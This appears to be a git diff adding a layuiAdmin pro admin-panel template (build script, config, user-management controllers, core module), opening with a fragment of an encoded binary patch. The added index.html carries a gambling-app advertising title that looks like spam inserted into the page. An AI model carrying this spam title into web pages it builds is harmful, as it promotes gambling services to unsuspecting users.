zLJPLH2x*lnw9HU#`FcN)tei!&)0blR;0ckJ+lh}>$iCRVwn;7%pF1a(-F){1pHHXJ zX%Az4ja$4K{|1paFsK~oqo#9;XH^q^K1!8Th>}WcaHz*qwa~B5E?Fl6B;#`#emO__GG)C zRz+^QR?H1WwA^6;{f1!YC?I$`8I?<7R71RzpI;5`rm15{Rwx|%5SiX3{b5^>`?6xp&Ji+P}JoHzSf`ms{oDt LmH+Q&(s#cDsUr%7 literal 0 HcmV?d00001 diff --git a/gulpfile.js b/gulpfile.js new file mode 100644 index 0000000..2e1a0b1 --- /dev/null +++ b/gulpfile.js @@ -0,0 +1,163 @@ +/** + layuiAdmin pro 构建 +*/ + +var pkg = require('./package.json'); +var inds = pkg.independents; + +var gulp = require('gulp'); +var uglify = require('gulp-uglify'); +var minify = require('gulp-minify-css'); +var concat = require('gulp-concat'); +var rename = require('gulp-rename'); +var replace = require('gulp-replace'); +var header = require('gulp-header'); +var del = require('del'); +var gulpif = require('gulp-if'); +var minimist = require('minimist'); + +//获取参数 +var argv = require('minimist')(process.argv.slice(2), { + default: { + ver: 'all' + } +}) + +//注释 +,note = [ + '/** <%= pkg.name %>-v<%= pkg.version %> <%= pkg.license %> License By <%= pkg.homepage %> */\n <%= js %>' + ,{pkg: pkg, js: ';'} +] + +,destDir = './dist' //构建的目标目录 +,releaseDir = '../pack/layuiAdmin.pack/'+ pkg.name +'-v' + pkg.version //发行版本目录 + +//任务 +,task = { + //压缩 JS + minjs: function(){ + var src = [ + './src/**/*.js' + ,'!./src/config.js' + ,'!./src/lib/extend/echarts.js' + ]; + + return gulp.src(src).pipe(uglify()) + .pipe(header.apply(null, note)) + .pipe(gulp.dest(destDir)); + } + + //压缩 CSS + ,mincss: function(){ + var src = [ + './src/**/*.css' + ] + ,noteNew = JSON.parse(JSON.stringify(note)); + + + noteNew[1].js = ''; + + return gulp.src(src).pipe(minify({ + compatibility: 'ie7' + })).pipe(header.apply(null, noteNew)) + .pipe(gulp.dest(destDir)); + } + + //复制文件夹 + ,mv: function(){ + gulp.src('./src/config.js') + .pipe(gulp.dest(destDir)); + + gulp.src('./src/lib/extend/echarts.js') + .pipe(gulp.dest(destDir + '/lib/extend')); + + gulp.src('./src/style/res/**/*') + .pipe(gulp.dest(destDir + '/style/res')); + + return gulp.src('./src/views/**/*') + .pipe(gulp.dest(destDir + '/views')); + } +}; + + +//清理 +gulp.task('clear', function(cb) { + return del(['./dist/*'], cb); +}); +gulp.task('clearRelease', function(cb) { + return del(['./json/*', releaseDir], cb); +}); + +gulp.task('minjs', task.minjs); +gulp.task('mincss', task.mincss); +gulp.task('mv', task.mv); + +gulp.task('src', function(){ //命令:gulp src + return gulp.src('./dev-src/**/*') + .pipe(gulp.dest('./src')); +}); + +//构建核心源文件 +gulp.task('default', ['clear', 'src'], function(){ //命令:gulp + for(var key in task){ + task[key](); + } +}); + +//发行 - layuiAdmin 官方使用 +gulp.task('release', function(){ //命令:gulp && gulp release + + //复制核心文件 + gulp.src('./dist/**/*') + .pipe(gulp.dest(releaseDir + '/dist')); + + gulp.src('./src/**/*') + .pipe(gulp.dest(releaseDir + '/src')); + + //复制 json + gulp.src('./dev/json/**/*') + .pipe(gulp.dest('./json')) + .pipe(gulp.dest('./start/json')) + .pipe(gulp.dest(releaseDir + '/start/json')); + + //复制并转义宿主页面 + gulp.src('./dev/index.html') + .pipe(replace(/\<\!-- clear s --\>([\s\S]*?)\<\!-- clear e --\>/, '')) + .pipe(replace('//local.res.layui.com/layui/src', 'layui')) + .pipe(replace("base: '../dev-src/'", "base: '../dist/'")) + .pipe(replace('@@version@@', pkg.version)) + .pipe(gulp.dest('./start')) + .pipe(gulp.dest(releaseDir + '/start')); + + //复制帮助文件 + gulp.src([ + './帮助/*' + ,'!./帮助/说明.txt' + ]).pipe(gulp.dest(releaseDir + '/帮助')); + + gulp.src([ + './帮助/说明.txt' + ]).pipe(gulp.dest(releaseDir)); + + + //复制 gulpfile + gulp.src([ + 'gulpfile.js' + ,'package.json' + ]).pipe(gulp.dest(releaseDir)); + + //说明 + gulp.src('../pack/说明.txt') + .pipe(gulp.dest('../pack/layuiAdmin.pack')); + + //复制 layui + return gulp.src('../../../../res/layui/rc/**/*') + .pipe(gulp.dest('./start/layui')) + .pipe(gulp.dest(releaseDir + '/start/layui')) +}); + + + + + + diff --git a/index.html b/index.html new file mode 100644 index 0000000..cc2f999 --- /dev/null +++ b/index.html @@ -0,0 +1,36 @@ + + + + + + + + +亚搏(中国)体育app下载-亚慱体育app官方入口·登录2023年iOS/安卓通用版_亚慱体育下载app官网 + + + + + + + + + + + +
        + + + + + + diff --git a/package.json b/package.json new file mode 100644 index 0000000..42ae344 --- /dev/null +++ b/package.json @@ -0,0 +1,26 @@ +{ + "name": "layuiAdmin.pro", + "version": "1.4.0", + "description": "通用后台管理模板系统", + "license": "LPPL", + "author": [ + "xianxin " + ], + "homepage": "https://www.layui.com/admin/", + "devDependencies": { + "chai": "^4.1.1", + "del": "^2.2.2", + "gulp": "^3.9.1", + "gulp-concat": "^2.6.0 ", + "gulp-header": "^1.8.8", + "gulp-if": "^2.0.1", + "gulp-minify-css": "^1.2.4", + "gulp-rename": "^1.2.2", + "gulp-replace": "^0.6.1", + "gulp-uglify": "^1.5.4", + "minimist": "^1.2.0", + "mocha": "^3.2.0", + "sinon": "^3.2.1", + "sinon-chai": "^2.13.0" + } +} diff --git a/src/config.js b/src/config.js new file mode 100644 index 0000000..2d962c7 --- /dev/null +++ b/src/config.js @@ -0,0 +1,142 @@ +/** + + @Name:全局配置 + @Author:贤心 + @Site:http://www.layui.com/admin/ + @License:LPPL(layui付费产品协议) + + */ + +layui.define(['laytpl', 'layer', 'element', 'util'], function(exports){ + exports('setter', { + container: 'LAY_app' //容器ID + ,base: layui.cache.base //记录layuiAdmin文件夹所在路径 + ,views: layui.cache.base + 'views/' //视图所在目录 + ,entry: 'index' //默认视图文件名 + ,engine: '.html' //视图文件后缀名 + ,pageTabs: false //是否开启页面选项卡功能。单页版不推荐开启 + + ,name: '瑶浴' + ,tableName: 'layuiAdmin' //本地存储表名 + ,MOD_NAME: 'admin' //模块事件名 + + ,debug: true //是否开启调试模式。如开启,接口异常时会抛出异常 URL 等信息 + + ,interceptor: true //是否开启未登入拦截 + //接口域名 + ,apidomain: 'http://ctfapi.ii090.com/' + + //自定义请求字段 + ,request: { + tokenName: 'jtoken' //自动携带 token 的字段名。可设置 false 不携带。 + } + + //自定义响应字段 + ,response: { + statusName: 'code' //数据状态的字段名称 + ,statusCode: { + ok: 0 //数据状态一切正常的状态码 + ,logout: 1001 //登录状态失效的状态码 + } + ,msgName: 'msg' //状态信息的字段名称 + ,dataName: 'data' //数据详情的字段名称 + } + + //独立页面路由,可随意添加(无需写参数) + ,indPage: [ + '/user/login' //登入页 + ,'/template/tips/test' //独立页的一个测试 demo + ] + + //扩展的第三方模块 + ,extend: [ + 'echarts', //echarts 核心包 + 'echartsTheme',//echarts 主题 + 'selectN', + 'selectM', + 'layarea' //省市县区三级联动 + ] + + //主题配置 + ,theme: { + //内置主题配色方案 + color: [{ + main: '#20222A' //主题色 + ,selected: '#009688' //选中色 + ,alias: 'default' //默认别名 + },{ + main: '#03152A' + ,selected: '#3B91FF' + ,alias: 'dark-blue' //藏蓝 + },{ + main: '#2E241B' + ,selected: '#A48566' + ,alias: 'coffee' //咖啡 + },{ + main: '#50314F' + ,selected: '#7A4D7B' + ,alias: 'purple-red' //紫红 + },{ + main: '#344058' + ,logo: '#1E9FFF' + ,selected: '#1E9FFF' + ,alias: 'ocean' //海洋 + },{ + main: '#3A3D49' + ,logo: '#2F9688' + ,selected: '#5FB878' + ,alias: 'green' //墨绿 + },{ + main: '#20222A' + ,logo: '#F78400' + ,selected: '#F78400' + ,alias: 'red' //橙色 + },{ + main: '#28333E' + ,logo: '#AA3130' + ,selected: '#AA3130' + ,alias: 'fashion-red' //时尚红 + },{ + main: '#24262F' + ,logo: '#3A3D49' + ,selected: '#009688' + ,alias: 'classic-black' //经典黑 + },{ + logo: '#226A62' + ,header: '#2F9688' + ,alias: 'green-header' //墨绿头 + },{ + main: '#344058' + ,logo: '#0085E8' + ,selected: '#1E9FFF' + ,header: '#1E9FFF' + ,alias: 'ocean-header' //海洋头 + },{ + header: '#393D49' + ,alias: 'classic-black-header' //经典黑 + },{ + main: '#50314F' + ,logo: '#50314F' + ,selected: '#7A4D7B' + ,header: '#50314F' + ,alias: 'purple-red-header' //紫红头 + },{ + main: '#28333E' + ,logo: '#28333E' + ,selected: '#AA3130' + ,header: '#AA3130' + ,alias: 'fashion-red-header' //时尚红头 + },{ + main: '#28333E' + ,logo: '#009688' + ,selected: '#009688' + ,header: '#009688' + ,alias: 'green-header' //墨绿头 + }] + + //初始的颜色索引,对应上面的配色方案数组索引 + //如果本地已经有主题色记录,则以本地记录为优先,除非请求本地数据(localStorage) + ,initColorIndex: 0 + } + }); +}); diff --git a/src/controller/common.js b/src/controller/common.js new file mode 100644 index 0000000..4c8022e --- /dev/null +++ b/src/controller/common.js @@ -0,0 +1,41 @@ +/** + + @Name:layuiAdmin 公共业务 + @Author:贤心 + @Site:http://www.layui.com/admin/ + @License:LPPL + + */ + +layui.define(function(exports){ + var $ = layui.$ + ,layer = layui.layer + ,laytpl = layui.laytpl + ,setter = layui.setter + ,view = layui.view + ,admin = layui.admin + + //公共业务的逻辑处理可以写在此处,切换任何页面都会执行 + //…… + + + + //退出 + admin.events.logout = function(){ + //执行退出接口 + admin.req({ + url: './json/user/logout.js' + ,type: 'get' + ,data: {} + ,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行 + + //清空本地记录的 token,并跳转到登入页 + admin.exit(); + } + }); + }; + + + //对外暴露的接口 + exports('common', {}); +}); \ No newline at end of file diff --git a/src/controller/console.js b/src/controller/console.js new file mode 100644 index 0000000..23bd7ac --- /dev/null +++ b/src/controller/console.js @@ -0,0 +1,218 @@ +/** + + @Name:layuiAdmin 主页控制台 + @Author:贤心 + @Site:http://www.layui.com/admin/ + @License:LPPL + + */ + + +layui.define(function(exports) { + + /* + 下面通过 layui.use 分段加载不同的模块,实现不同区域的同时渲染,从而保证视图的快速呈现 + */ + + //区块轮播切换 + layui.use(['admin', 'carousel'], function() { + var $ = layui.$, + admin = layui.admin, + carousel = layui.carousel, + element = layui.element, + device = layui.device(); + + //轮播切换 + $('.layadmin-carousel').each(function() { + var othis = $(this); + carousel.render({ + elem: this, + width: '100%', + arrow: 'none', + interval: othis.data('interval'), + autoplay: othis.data('autoplay') === true, + trigger: (device.ios || device.android) ? 'click' : 'hover', + anim: othis.data('anim') + }); + }); + + element.render('progress'); + }); + + //数据概览 + layui.use(['admin', 'carousel', 'echarts'], function() { + var $ = layui.$, + admin = layui.admin, + carousel = layui.carousel, + echarts = layui.echarts; + + var echartsApp = [], + options = [ + //今日流量趋势 + { + title: { + text: '今日流量趋势', + x: 'center', + textStyle: { + fontSize: 14 + } + }, + tooltip: { + trigger: 'axis' + }, + legend: { + data: ['', ''] + }, + xAxis: [{ + type: 'category', + boundaryGap: false, + data: ['06:00', '06:30', '07:00', '07:30', '08:00', '08:30', '09:00', '09:30', '10:00', '11:30', '12:00', + '12:30', '13:00', '13:30', '14:00', '14:30', '15:00', '15:30', '16:00', '16:30', '17:00', '17:30', + '18:00', '18:30', '19:00', '19:30', '20:00', '20:30', '21:00', '21:30', '22:00', '22:30', '23:00', + '23:30' + ] + }], + yAxis: [{ + type: 'value' + }], + series: [{ + name: 'PV', + type: 'line', + smooth: true, + itemStyle: { + normal: { + areaStyle: { + type: 'default' + } + } + }, + data: [111, 222, 333, 444, 555, 666, 3333, 33333, 55555, 66666, 33333, 3333, 6666, 11888, 26666, 38888, + 56666, 42222, 39999, 28888, 17777, 9666, 6555, 5555, 3333, 2222, 3111, 6999, 5888, 2777, 1666, 999, 888, + 777 + ] + }, { + name: 'UV', + type: 'line', + smooth: true, + itemStyle: { + normal: { + areaStyle: { + type: 'default' + } + } + }, + data: [11, 22, 33, 44, 55, 66, 333, 3333, 5555, 12666, 3333, 333, 666, 1188, 2666, 3888, 6666, 4222, 3999, + 2888, 1777, 966, 655, 555, 333, 222, 311, 699, 588, 277, 166, 99, 88, 77 + ] + }] + }, + + //访客浏览器分布 + { + title: { + text: '访客浏览器分布', + x: 'center', + textStyle: { + fontSize: 14 + } + }, + tooltip: { + trigger: 'item', + formatter: "{a}
        {b} : {c} ({d}%)" + }, + legend: { + orient: 'vertical', + x: 'left', + data: ['Chrome', 'Firefox', 'IE 8.0', 'Safari', '其它浏览器'] + }, + series: [{ + name: '访问来源', + type: 'pie', + radius: '55%', + center: ['50%', '50%'], + data: [{ + value: 9052, + name: 'Chrome' + }, + { + value: 1610, + name: 'Firefox' + }, + { + value: 3200, + name: 'IE 8.0' + }, + { + value: 535, + name: 'Safari' + }, + { + value: 1700, + name: '其它浏览器' + } + ] + }] + }, + + //新增的用户量 + { + title: { + text: '最近一周新增的用户量', + x: 'center', + textStyle: { + fontSize: 14 + } + }, + tooltip: { //提示框 + trigger: 'axis', + formatter: "{b}
        新增用户:{c}" + }, + xAxis: [{ //X轴 + type: 'category', + data: ['11-07', '11-08', '11-09', '11-10', '11-11', '11-12', '11-13'] + }], + yAxis: [{ //Y轴 + type: 'value' + }], + series: [{ //内容 + type: 'line', + data: [200, 300, 400, 610, 150, 270, 380], + }] + } + ], + elemDataView = $('#LAY-index-dataview').children('div'), + renderDataView = function(index) { + echartsApp[index] = echarts.init(elemDataView[index], layui.echartsTheme); + echartsApp[index].setOption(options[index]); + //window.onresize = echartsApp[index].resize; + admin.resize(function() { + echartsApp[index].resize(); + }); + }; + + //没找到DOM,终止执行 + if (!elemDataView[0]) return; + + renderDataView(0); + + //监听数据概览轮播 + var carouselIndex = 0; + carousel.on('change(LAY-index-dataview)', function(obj) { + renderDataView(carouselIndex = obj.index); + }); + + //监听侧边伸缩 + layui.admin.on('side', function() { + setTimeout(function() { + renderDataView(carouselIndex); + }, 300); + }); + + //监听路由 + layui.admin.on('hash(tab)', function() { + layui.router().path.join('') || renderDataView(carouselIndex); + }); + }); + + exports('console', {}) +}); diff --git a/src/controller/set.js b/src/controller/set.js new file mode 100644 index 0000000..257ce61 --- /dev/null +++ b/src/controller/set.js @@ -0,0 +1,67 @@ +/** + + @Name:layuiAdmin 设置 + @Author:贤心 + @Site:http://www.layui.com/admin/ + @License: LPPL + + */ + +layui.define(['form', 'upload'], function(exports) { + var $ = layui.$, + layer = layui.layer, + laytpl = layui.laytpl, + setter = layui.setter, + view = layui.view, + admin = layui.admin, + form = layui.form, + upload = layui.upload; + + var $body = $('body'); + + form.render(); + + //自定义验证 + form.verify({ + nickname: function(value, item) { //value:表单的值、item:表单的DOM对象 + if (!new RegExp("^[a-zA-Z0-9_\u4e00-\u9fa5\\s·]+$").test(value)) { + return '用户名不能有特殊字符'; + } + if (/(^\_)|(\__)|(\_+$)/.test(value)) { + return '用户名首尾不能出现下划线\'_\''; + } + if (/^\d+\d+\d$/.test(value)) { + return '用户名不能全为数字'; + } + } + + //我们既支持上述函数式的方式,也支持下述数组的形式 + //数组的两个值分别代表:[正则匹配、匹配不符时的提示文字] + , + pass: [ + /^[\S]{6,12}$/, '密码必须6到12位,且不能出现空格' + ] + + //确认密码 + , + repass: function(value) { + if (value !== $('#LAY_password').val()) { + return '两次密码输入不一致'; + } + } + }); + + //设置密码 + form.on('submit(setmypass)', function(obj) { + var res = admin.useAjax("yyds/user/index", 'PUT', obj.field); + if(res.code){ + layer.msg('密码修改成功,下次登录生效', function(){ + location.reload(); + }); + } + return false; + }); + + //对外暴露的接口 + exports('set', {}); +}); diff --git a/src/controller/user.js b/src/controller/user.js new file mode 100644 index 0000000..c056c8e --- /dev/null +++ b/src/controller/user.js @@ -0,0 +1,52 @@ +/** + + @Name:layuiAdmin 用户登入和注册等 + @Author:贤心 + @Site:http://www.layui.com/admin/ + @License: LPPL + + */ + +layui.define('form', function(exports){ + var $ = layui.$ + ,layer = layui.layer + ,laytpl = layui.laytpl + ,setter = layui.setter + ,view = layui.view + ,admin = layui.admin + ,form = layui.form; + + var $body = $('body'); + + //自定义验证 + form.verify({ + nickname: function(value, item){ //value:表单的值、item:表单的DOM对象 + if(!new RegExp("^[a-zA-Z0-9_\u4e00-\u9fa5\\s·]+$").test(value)){ + return '用户名不能有特殊字符'; + } + if(/(^\_)|(\__)|(\_+$)/.test(value)){ + return '用户名首尾不能出现下划线\'_\''; + } + if(/^\d+\d+\d$/.test(value)){ + return '用户名不能全为数字'; + } + } + + //我们既支持上述函数式的方式,也支持下述数组的形式 + //数组的两个值分别代表:[正则匹配、匹配不符时的提示文字] + ,pass: [ + /^[\S]{6,12}$/ + ,'密码必须6到12位,且不能出现空格' + ] + }); + + + //更换图形验证码 + $body.on('click', '#LAY-user-get-vercode', function(){ + var othis = $(this); + this.src = 'https://www.oschina.net/action/user/captcha?t='+ new Date().getTime() + }); + + //对外暴露的接口 + exports('user', {}); +}); \ No newline at end of file diff --git a/src/controller/useradmin.js b/src/controller/useradmin.js new file mode 100644 index 0000000..31ab61e --- /dev/null +++ b/src/controller/useradmin.js @@ -0,0 +1,255 @@ +/** + + @Name:layuiAdmin 用户管理 管理员管理 角色管理 + @Author:star1029 + @Site:http://www.layui.com/admin/ + @License:LPPL + + */ + + +layui.define(['table', 'form'], function(exports) { + var $ = layui.$, + admin = layui.admin, + setter = layui.setter, + view = layui.view, + table = layui.table, + form = layui.form; + + var rr = setter.request.tokenName, + tt = setter.tableName; + //用户管理 + table.render({ + elem: '#LAY-user-manage', + url: setter.apidomain + 'yyds/user/index', + headers: { + jtoken: layui.data(tt)[rr] + }, + cols: [ + [{ + field: 'id', + title: 'ID', + hide: true + }, { + field: 'username', + title: '姓名' + }, { + field: 'group_type', + title: '角色' + }, { + field: 'status', + title: '状态' + }, { + field: 'create_time', + title: '创建时间', + hide: true + }, { + field: 'update_time', + title: '更新时间', + hide: true + }, { + title: '操作', + align: 'center', + fixed: 'right', + toolbar: '#table-useradmin-webuser' + }] + ], + page: true + }); + + //监听工具条 + table.on('tool(LAY-user-manage)', function(obj) { + var data = obj.data; + if (obj.event === 'del') { + layer.prompt({ + formType: 1, + title: '敏感操作,请验证口令' + }, function(value, index) { + layer.close(index); + + layer.confirm('真的删除行么', function(index) { + obj.del(); + layer.close(index); + }); + }); + } else if (obj.event === 'edit') { + admin.popup({ + title: '编辑用户', + area: ['350px', '370px'], + id: 'LAY-popup-user-add', + success: function(layero, index) { + view(this.id).render('user/user/userform', data).done(function() { + form.render(null, 'layuiadmin-form-useradmin'); + + //监听提交 + form.on('submit(LAY-user-front-submit)', function(formData) { + formData.field.id = data.id; + if(formData.field.passwd == ''){ + delete formData.field.passwd; + } + //提交 Ajax 成功后,关闭当前弹层并重载表格 + console.log(admin.useAjax("yyds/user/index", 'PUT', formData.field)); + layui.table.reload('LAY-user-manage'); //重载表格 + layer.close(index); //执行关闭 + return false; + }); + }); + } + }); + } + }); + + //管理员管理 + table.render({ + elem: '#LAY-user-back-manage', + url: './json/useradmin/mangadmin.js' //模拟接口 + , + cols: [ + [{ + type: 'checkbox', + fixed: 'left' + }, { + field: 'id', + width: 80, + title: 'ID', + sort: true + }, { + field: 'loginname', + title: '登录名' + }, { + field: 'telphone', + title: '手机' + }, { + field: 'email', + title: '邮箱' + }, { + field: 'role', + title: '角色' + }, { + field: 'jointime', + title: '加入时间', + sort: true + }, { + field: 'check', + title: '审核状态', + templet: '#buttonTpl', + minWidth: 80, + align: 'center' + }, { + title: '操作', + width: 150, + align: 'center', + fixed: 'right', + toolbar: '#table-useradmin-admin' + }] + ], + text: '对不起,加载出现异常!' + }); + + //监听工具条 + table.on('tool(LAY-user-back-manage)', function(obj) { + var data = obj.data; + if (obj.event === 'del') { + layer.prompt({ + formType: 1, + title: '敏感操作,请验证口令' + }, function(value, index) { + layer.close(index); + layer.confirm('确定删除此管理员?', function(index) { + console.log(obj) + obj.del(); + layer.close(index); + }); + }); + } else if (obj.event === 'edit') { + admin.popup({ + title: '编辑管理员', + area: ['420px', '450px'], + id: 'LAY-popup-user-add', + success: function(layero, index) { + view(this.id).render('user/administrators/adminform', data).done(function() { + form.render(null, 'layuiadmin-form-admin'); + + //监听提交 + form.on('submit(LAY-user-back-submit)', function(data) { + var field = data.field; //获取提交的字段 + + //提交 Ajax 成功后,关闭当前弹层并重载表格 + //$.ajax({}); + layui.table.reload('LAY-user-back-manage'); //重载表格 + layer.close(index); //执行关闭 + }); + }); + } + }); + } + }); + + //角色管理 + table.render({ + elem: '#LAY-user-back-role', + url: './json/useradmin/role.js' //模拟接口 + , + cols: [ + [{ + type: 'checkbox', + fixed: 'left' + }, { + field: 'id', + width: 80, + title: 'ID', + sort: true + }, { + field: 'rolename', + title: '角色名' + }, { + field: 'limits', + title: '拥有权限' + }, { + field: 'descr', + title: '具体描述' + }, { + title: '操作', + width: 150, + align: 'center', + fixed: 'right', + toolbar: '#table-useradmin-admin' + }] + ], + text: '对不起,加载出现异常!' + }); + + //监听工具条 + table.on('tool(LAY-user-back-role)', function(obj) { + var data = obj.data; + if (obj.event === 'del') { + layer.confirm('确定删除此角色?', function(index) { + obj.del(); + layer.close(index); + }); + } else if (obj.event === 'edit') { + admin.popup({ + title: '添加新角色', + area: ['500px', '480px'], + id: 'LAY-popup-user-add', + success: function(layero, index) { + view(this.id).render('user/administrators/roleform', data).done(function() { + form.render(null, 'layuiadmin-form-role'); + + //监听提交 + form.on('submit(LAY-user-role-submit)', function(data) { + var field = data.field; //获取提交的字段 + + //提交 Ajax 成功后,关闭当前弹层并重载表格 + //$.ajax({}); + layui.table.reload('LAY-user-back-role'); //重载表格 + layer.close(index); //执行关闭 + }); + }); + } + }); + } + }); + + exports('useradmin', {}) +}); diff --git a/src/index.js b/src/index.js new file mode 100644 index 0000000..f05f208 --- /dev/null +++ b/src/index.js @@ -0,0 +1,218 @@ +/** + + @Name:layuiAdmin 主入口 + @Author:贤心 + @Site:http://www.layui.com/admin/ + @License:LPPL + + */ + +layui.extend({ + setter: 'config' //配置文件 + ,admin: 'lib/admin' //核心模块 + ,view: 'lib/view' //核心模块 +}).define(['setter', 'admin'], function(exports){ + var setter = layui.setter + ,admin = layui.admin + ,element = layui.element + ,tabsPage = admin.tabsPage + ,view = layui.view + + //根据路由渲染页面 + ,renderPage = function(){ + var router = layui.router() + ,path = router.path + ,pathURL = admin.correctRouter(router.path.join('/')) + + + + //默认读取主页 + if(!path.length) path = ['']; + + //如果最后一项为空字符,则读取默认文件 + if(path[path.length - 1] === ''){ + path[path.length - 1] = setter.entry; + } + + /* + layui.config({ + base: setter.base + 'controller/' + }); + */ + + //重置状态 + var reset = function(type){ + //renderPage.haveInit && layer.closeAll(); + if(renderPage.haveInit){ + $('.layui-layer').each(function(){ + var othis = $(this), + index = othis.attr('times'); + if(!othis.hasClass('layui-layim')){ + layer.close(index); + } + }); + } + renderPage.haveInit = true; + + $(APP_BODY).scrollTop(0); + delete tabsPage.type; //重置页面标签的来源类型 + }; + + //如果路由来自于 tab 切换,则不重新请求视图 + if(tabsPage.type === 'tab'){ + //切换到非主页、或者切换到主页且主页必须有内容。方可阻止请求 + if(pathURL !== '/' || (pathURL === '/' && admin.tabsBody().html())){ + admin.tabsBodyChange(tabsPage.index); + return reset(tabsPage.type); + } + } + + //请求视图渲染 + view().render(path.join('/')).then(function(res){ + + //遍历页签选项卡 + var matchTo + ,tabs = $('#LAY_app_tabsheader>li'); + + tabs.each(function(index){ + var li = $(this) + ,layid = li.attr('lay-id'); + + if(layid === pathURL){ + matchTo = true; + tabsPage.index = index; + } + }); + + //如果未在选项卡中匹配到,则追加选项卡 + if(setter.pageTabs && pathURL !== '/'){ + if(!matchTo){ + $(APP_BODY).append('
        '); + tabsPage.index = tabs.length; + element.tabAdd(FILTER_TAB_TBAS, { + title: ''+ (res.title || '新标签页') +'' + ,id: pathURL + ,attr: router.href + }); + } + } + + this.container = admin.tabsBody(tabsPage.index); + setter.pageTabs || this.container.scrollTop(0); //如果不开启标签页,则跳转时重置滚动条 + + //定位当前tabs + element.tabChange(FILTER_TAB_TBAS, pathURL); + admin.tabsBodyChange(tabsPage.index); + + }).done(function(){ + layui.use('common', layui.cache.callback.common); + $win.on('resize', layui.data.resize); + + element.render('breadcrumb', 'breadcrumb'); + + //容器 scroll 事件,剔除吸附层 + admin.tabsBody(tabsPage.index).on('scroll', function(){ + var othis = $(this) + ,elemDate = $('.layui-laydate') + ,layerOpen = $('.layui-layer')[0]; + + //关闭 layDate + if(elemDate[0]){ + elemDate.each(function(){ + var thisElemDate = $(this); + thisElemDate.hasClass('layui-laydate-static') || thisElemDate.remove(); + }); + othis.find('input').blur(); + } + + //关闭 Tips 层 + layerOpen && layer.closeAll('tips'); + }); + }); + + reset(); + } + + //入口页面 + ,entryPage = function(fn){ + var router = layui.router() + ,container = view(setter.container) + ,pathURL = admin.correctRouter(router.path.join('/')) + ,isIndPage; + + //检查是否属于独立页面 + layui.each(setter.indPage, function(index, item){ + if(pathURL === item){ + return isIndPage = true; + } + }); + + //将模块根路径设置为 controller 目录 + layui.config({ + base: setter.base + 'controller/' + }); + + //独立页面 + if(isIndPage || pathURL === '/user/login'){ //此处单独判断登入页,是为了兼容旧版(即未在 config.js 配置 indPage 的情况) + container.render(router.path.join('/')).done(function(){ + admin.pageType = 'alone'; + }); + } else { //后台框架页面 + + //强制拦截未登入 + if(setter.interceptor){ + var local = layui.data(setter.tableName); + if(!local[setter.request.tokenName]){ + return location.hash = '/user/login/redirect='+ encodeURIComponent(pathURL); //跳转到登入页 + } + } + + //渲染后台结构 + if(admin.pageType === 'console') { //后台主体页 + renderPage(); + } else { //初始控制台结构 + container.render('layout').done(function(){ + renderPage(); + layui.element.render(); + + if(admin.screen() < 2){ + admin.sideFlexible(); + } + admin.pageType = 'console'; + }); + } + + } + } + + ,APP_BODY = '#LAY_app_body', FILTER_TAB_TBAS = 'layadmin-layout-tabs' + ,$ = layui.$, $win = $(window); + + //初始主体结构 + layui.link( + setter.base + 'style/admin.css?v='+ (admin.v + '-1') + ,function(){ + entryPage() + } + ,'layuiAdmin' + ); + + //监听Hash改变 + window.onhashchange = function(){ + entryPage(); + //执行 {setter.MOD_NAME}.hash 下的事件 + layui.event.call(this, setter.MOD_NAME, 'hash({*})', layui.router()); + }; + + //扩展 lib 目录下的其它模块 + layui.each(setter.extend, function(index, item){ + var mods = {}; + mods[item] = '{/}' + setter.base + 'lib/extend/' + item; + layui.extend(mods); + }); + + //对外输出 + exports('index', { + render: renderPage + }); +}); diff --git a/src/lib/admin.js b/src/lib/admin.js new file mode 100644 index 0000000..f1c4137 --- /dev/null +++ b/src/lib/admin.js @@ -0,0 +1,968 @@ +/** + + @Name:layuiAdmin 核心模块 + @Author:贤心 + @Site:http://www.layui.com/admin/ + @License:LPPL + + */ + +layui.define('view', function(exports) { + var $ = layui.jquery, + laytpl = layui.laytpl, + element = layui.element, + setter = layui.setter, + view = layui.view, + device = layui.device(), + $win = $(window), + $body = $('body'), + container = $('#' + setter.container), + SHOW = 'layui-show', + HIDE = 'layui-hide', + THIS = 'layui-this', + DISABLED = 'layui-disabled', + TEMP = 'template', + APP_BODY = '#LAY_app_body', + APP_FLEXIBLE = 'LAY_app_flexible', + FILTER_TAB_TBAS = 'layadmin-layout-tabs', + APP_SPREAD_SM = 'layadmin-side-spread-sm', + TABS_BODY = 'layadmin-tabsbody-item', + ICON_SHRINK = 'layui-icon-shrink-right', + ICON_SPREAD = 'layui-icon-spread-left', + SIDE_SHRINK = 'layadmin-side-shrink', + SIDE_MENU = 'LAY-system-side-menu' + + //通用方法 + , + admin = { + v: '1.4.0 pro' + + //数据的异步请求 + , + req: view.req + + //清除本地 token,并跳转到登入页 + , + exit: view.exit + + //xss 转义 + , + escape: function(html) { + return String(html || '').replace(/&(?!#?[a-zA-Z0-9]+;)/g, '&') + .replace(//g, '>') + .replace(/'/g, ''').replace(/"/g, '"'); + } + + //事件监听 + , + on: function(events, callback) { + return layui.onevent.call(this, setter.MOD_NAME, events, callback); + } + + //弹出面板 + , + popup: view.popup + + //右侧面板 + , + popupRight: function(options) { + //layer.close(admin.popup.index); + return admin.popup.index = layer.open($.extend({ + type: 1, + id: 'LAY_adminPopupR', + anim: -1, + title: false, + closeBtn: false, + offset: 'r', + shade: 0.1, + shadeClose: true, + skin: 'layui-anim layui-anim-rl layui-layer-adminRight', + area: '300px' + }, options)); + } + + //发送验证码 + , + sendAuthCode: function(options) { + options = $.extend({ + seconds: 60, + elemPhone: '#LAY_phone', + elemVercode: '#LAY_vercode' + }, options); + + var seconds = options.seconds, + token = null, + timer, countDown = function(loop) { + var btn = $(options.elem) + seconds--; + if (seconds < 0) { + btn.removeClass(DISABLED).html('获取验证码'); + seconds = options.seconds; + clearInterval(timer); + } else { + btn.addClass(DISABLED).html(seconds + '秒后重获'); + } + + if (!loop) { + timer = setInterval(function() { + countDown(true); + }, 1000); + } + }; + + $body.off('click', options.elem).on('click', options.elem, function() { + options.elemPhone = $(options.elemPhone); + options.elemVercode = $(options.elemVercode); + + var elemPhone = options.elemPhone, + value = elemPhone.val(); + + if (seconds !== options.seconds || $(this).hasClass(DISABLED)) return; + + if (!/^1\d{10}$/.test(value)) { + elemPhone.focus(); + return layer.msg('请输入正确的手机号') + }; + + if (typeof options.ajax === 'object') { + var success = options.ajax.success; + delete options.ajax.success; + } + + admin.req($.extend(true, { + url: '/auth/code', + type: 'get', + data: { + phone: value + }, + success: function(res) { + layer.msg('验证码已发送至你的手机,请注意查收', { + icon: 1, + shade: 0 + }); + 